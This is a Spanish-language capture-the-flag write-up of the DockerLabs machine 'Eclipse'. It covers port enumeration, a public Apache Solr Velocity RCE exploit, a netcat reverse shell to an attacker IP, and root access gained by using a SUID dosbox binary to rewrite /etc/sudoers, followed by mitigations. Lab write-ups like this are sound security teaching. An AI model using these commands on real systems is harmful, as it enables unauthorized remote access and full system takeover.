Skip to content

Eclipse

This content is not available in your language yet.

Este documento presenta la resolución completa de la máquina Eclipse, desarrollada por Xerosec para la plataforma DockerLabs y clasificada con una dificultad Media.

El objetivo es describir detalladamente el proceso de compromiso del sistema, desde la fase de enumeración inicial hasta la obtención de privilegios de root, analizando cada vector de ataque y resaltando las vulnerabilidades explotadas.

La metodología empleada se divide en tres fases principales:

  1. Reconocimiento: identificación de servicios expuestos y análisis inicial del sistema.
  2. Explotación: obtención de acceso inicial mediante vulnerabilidades lógicas en la API y servicios expuestos.
  3. Escalada de privilegios: abuso de configuraciones inseguras y permisos mal asignados para obtener acceso root.

Todas las acciones descritas se realizaron dentro del entorno aislado proporcionado por DockerLabs, con fines exclusivamente educativos.


AtributoValor
NombreEclipse
AutorXerosec
DificultadMedio
Fecha30/06/2024
PlataformaDockerLabs

Se descomprime y despliega la máquina virtual proporcionada utilizando el script oficial:

Ventana de terminal
unzip "Eclipse.zip"
sudo bash auto_deploy.sh "Eclipse.tar"

Una vez finalizado el despliegue, se obtiene la dirección IP asignada al contenedor:

IP asignada


Se crea una estructura de directorios para mantener el trabajo organizado y documentado:

Ventana de terminal
mkdir -p Eclipse/{content,exploits,nmap,scripts}
cd Eclipse

Se realiza un escaneo completo de puertos TCP con el objetivo de identificar servicios expuestos:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

Puertos abiertos identificados:

  • 80/tcp — HTTP
  • 8983/tcp — HTTP (Apache Solr)

Puertos abiertos


Se procede a realizar un escaneo de directorios y extensiones web sobre el servicio HTTP del puerto 80:

Ventana de terminal
feroxbuster -u http://172.17.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \
-x php,html,txt,js,json -t 100 -C 404

feroxbuster result

Rutas relevantes encontradas

  • /index — Muestra únicamente la imagen pinguininja.png.
  • /pinguininja.png — Imagen estática de dos pingüinos peleando.

No se identifican funcionalidades dinámicas ni vectores de ataque directos en este servicio.


Se repite el proceso de enumeración sobre el servicio web expuesto en el puerto 8983:

Ventana de terminal
feroxbuster -u http://172.17.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \
-x php,html,txt,js,json -t 100 -C 404

feroxbuster result

Rutas relevantes encontradas

  • /api — API web accesible sin autenticación content of api
  • /v2 — Segunda versión de la API content of api
  • /solr — Instancia de Apache Solr

Analizando el servicio expuesto en el puerto 8983, se identifica la versión exacta de Apache Solr:

version of solr

Con esta información, se realiza una búsqueda de vulnerabilidades públicas mediante searchsploit, identificando un exploit de Remote Code Execution que utiliza Velocity Templates.

Se descarga el exploit y se prueba la ejecución de comandos remotos utilizando id:

Ventana de terminal
python3 47572.py 172.17.0.2 8983 id

La ejecución es exitosa:

comand result

A continuación, se prepara un listener en la máquina atacante:

Ventana de terminal
nc -nlvp 443

Y se ejecuta el exploit para obtener una reverse shell:

Ventana de terminal
python3 47572.py 172.17.0.2 8983 "nc 192.168.0.26 443 -e /bin/bash"

Se establece una conexión interactiva exitosa como el usuario ninhack:

reverseShell

Finalmente, se procede a normalizar la TTY para mejorar la interacción con la shell.


Se comienza revisando los privilegios sudo:

Ventana de terminal
sudo -l

El usuario no dispone de permisos sudo, por lo que se procede a enumerar binarios con permisos SUID:

Ventana de terminal
find / -perm -4000 2>/dev/null

Los resultados obtenidos son los siguientes:

find result

Entre los binarios destaca dosbox, el cual permite montar el sistema de archivos y sobrescribir archivos arbitrarios. Aprovechando esta funcionalidad, se modifica el archivo /etc/sudoers:

Ventana de terminal
LFILE='/etc/sudoers'
/usr/bin/dosbox -c 'mount c /' \
-c "echo 'root ALL=(ALL:ALL) ALL' > c:$LFILE" \
-c "echo '$USER ALL=(ALL) NOPASSWD:ALL' >> c:$LFILE" \
-c exit

Una vez modificado el archivo, basta con ejecutar:

Ventana de terminal
sudo su

Obteniendo acceso completo como root:

id root


  • Uso de una versión vulnerable de Apache Solr con ejecución remota de comandos.
  • Falta de autenticación y autorización en servicios administrativos.
  • Exposición de servicios internos sin restricciones de acceso.
  • Permisos SUID inseguros en binarios interactivos (dosbox).
  • Configuración incorrecta de privilegios que permite la modificación de archivos críticos.

  • Mantener los servicios actualizados y aplicar parches de seguridad.
  • Restringir el acceso a servicios administrativos como Apache Solr.
  • Implementar controles de autenticación y autorización adecuados.
  • Eliminar permisos SUID innecesarios en binarios no esenciales.
  • Aplicar el principio de mínimo privilegio a usuarios y servicios.
  • Auditar periódicamente la configuración del sistema y sus permisos.